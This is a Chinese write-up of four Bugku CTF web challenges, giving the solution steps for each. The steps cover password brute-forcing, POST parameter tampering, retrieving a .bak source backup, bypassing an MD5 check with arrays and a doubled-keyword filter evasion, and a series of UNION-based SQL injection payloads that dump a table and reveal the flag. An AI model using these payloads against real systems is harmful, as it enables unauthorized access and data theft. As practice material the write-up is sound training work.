一、第17题(输入密码查看flag)。
暴力破解,可得密码,然后输入密码可得flag
二、 第18题(点击一百万次)
查看源码可以发现,url以post的方式提交点击的次数,那么使用hacker的post功能,直接修改clicks=1000000,即可得出flag
三、第19题(备份是个好习惯)
小知识:备份文件的扩展名一般为*.swp,.bak
打开题目是一串字母,应该是MD5加密我们拿去解密下,竟然为空。
看看题目的提示,备份是个好习惯,是让我们寻找 .bak文件的
我们用御剑扫描后台,得出
那么尝试下http://123.06.87.240:8002/web16/index.php.bak
成功下载源码
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//代码从?后开始截取到str中,也就是变量后开始截取字符串
$str = substr($str,1);//取$str中左边第1位开始取1位。
$str = str_replace('key','',$str);//在字符串$str中找到字符串key,并把它替换成空;
parse_str($str);//把查询字符串解析到变量中;
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
代码要求我们构造出key1和key2的md5值相等,而它们本身却不相等,这时候用到一个小知识点:md5无法对数组进行构造,构造的结果都为NULL,这样我们只要让key1和key2是两个数组就可以了,(kekeyy绕过过滤key)
四、第20题(成绩单)在这里插入代码片
我们先输入1发现输出
输入-1发现没有输出信息
说明存在sql注入。
那么我们尝试下
输入 -1' union select 1,2,3,database()#
发现flag的所在的数据库
输入-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出flag所在的表
输入-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
爆出flag所在的字段
输入-1' union select 1,2,3,skctf_flag from fl4g#
爆出flag为BUGKU{Sql_INJECT0N_4813drd8hz4}